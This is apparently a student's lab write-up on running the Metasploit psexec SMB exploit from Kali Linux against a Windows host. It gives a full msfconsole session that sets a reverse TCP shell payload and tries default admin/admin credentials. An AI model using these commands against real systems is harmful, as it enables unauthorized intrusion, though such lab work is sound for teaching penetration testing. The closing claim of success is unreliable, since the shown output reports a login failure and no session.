

## PRACTICAL :- 9

### AIM: Exploiting with Metasploit (Kali Linux)

- Identify a vulnerable system and exploit it using Metasploit modules.
- Gain unauthorized access to the target system and execute commands or extract information.
- Understand the ethical considerations and legal implications of using Metasploit for penetration testing.

#### THEORY:

- The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
- Its best-known sub-project is the open-source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine.
- Other important sub-projects include the Opcode Database, shellcode archive and related research.
- The Metasploit Project includes anti-forensic and evasion tools, some of which are built into the Metasploit Framework.
- Metasploit is pre-installed in the Kali Linux operating system.

#### METASPLOIT FRAMEWORK

The free version. It contains a command line interface, third-party import, manual exploitation and manual brute forcing. This free version of the Metasploit project also includes Zenmap, a well known ports-scanner and a compiler for Ruby, the language in which this version of Metasploit was written.

#### METASPLOIT MODULES:

**PAYLOAD:** When we use the show payloads command the msfconsole will return a list of compatible payloads for this exploit.

**EXPLOIT:** After vulnerability scanning and vulnerability validation, we have to run and test some scripts (called exploits) in order to gain access to a machine and do what we are planning to do.

**RHOST:** RHOST is the ip address of the target system.

**LHOST:** LHOST is the ip address of the system used to do the hacking.

**LPORT:** LPORT is the local port used when opening a connection.

**reverse\_tcp:** The php/meterpreter/reverse\_tcp is a staged payload used to gain meterpreter access to a compromised system. This is a unique payload in the Metasploit Framework because this payload is one of the only payloads that are used in RFI vulnerabilities in web apps.

**SMB:** SMB, which stands for Server Message Block, is a protocol for sharing files, printers, serial ports, and communications abstractions such as named pipes and mail slots between computers.

#### STEPS:

1. Download and open Metasploit.
2. Use exploit to attack the host.
3. Create the exploit and add the exploit to the victim's PC.

#### 4. Get the IP address of your windows operating system. By using ipconfig command on cmd.

```
Administrator: C:\Windows\System32\cmd.exe
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix . . . : 
    Link-local IPv6 Address . . . . . : fe80::cd0:caa7:5d7:aace%11
    IPv4 Address. . . . . : 192.168.1.29
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.1.1

Tunnel adapter isatap.{9ADA84B5-55E6-459D-B27A-45699B3D6545}:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix . . : 

Tunnel adapter Teredo Tunneling Pseudo-Interface:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix . . : 
```

```
root@kali: ~
File Edit View Search Terminal Help

root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.12.132 netmask 255.255.255.0 broadcast 192.168.12.255
    inet6 fe80::20c:29ff:fe26:358f prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:26:35:8f txqueuelen 1000 (Ethernet)
    RX packets 9663 bytes 12970683 (12.3 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 1903 bytes 183701 (179.3 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 20 bytes 1116 (1.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 20 bytes 1116 (1.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
root@kali: ~
File Edit View Search Terminal Help

root@kali:~# msfconsole

Metasploit v4.16.48-dev

[*] --=[ 1749 exploits - 1092 auxiliary - 302 post ]
[*] --=[ 536 payloads - 40 encoders - 10 nops ]
[*] --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
```

```
root@kali: ~
File Edit View Search Terminal Help

msf > use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) > set RHOST 192.168.1.29
RHOST => 192.168.1.29
msf exploit(windows/smb/psexec) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(windows/smb/psexec) > set LHOST 192.168.12.132
LHOST => 192.168.12.132
msf exploit(windows/smb/psexec) > set LPORT 4444
LPORT => 4444
msf exploit(windows/smb/psexec) > set SMBUSER admin
SMBUSER => admin
msf exploit(windows/smb/psexec) > set SMBPASS admin
SMBPASS => admin
msf exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on 192.168.12.132:4444
[*] 192.168.1.29:4445 - Connecting to the server...
[*] 192.168.1.29:4445 - Authenticating to 192.168.1.29:4445 as user 'admin'...
[-] 192.168.1.29:4445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::
LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (
Command=115 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/psexec) >
```

**CONCLUSION:** Thus we have successfully exploited the Victims PC.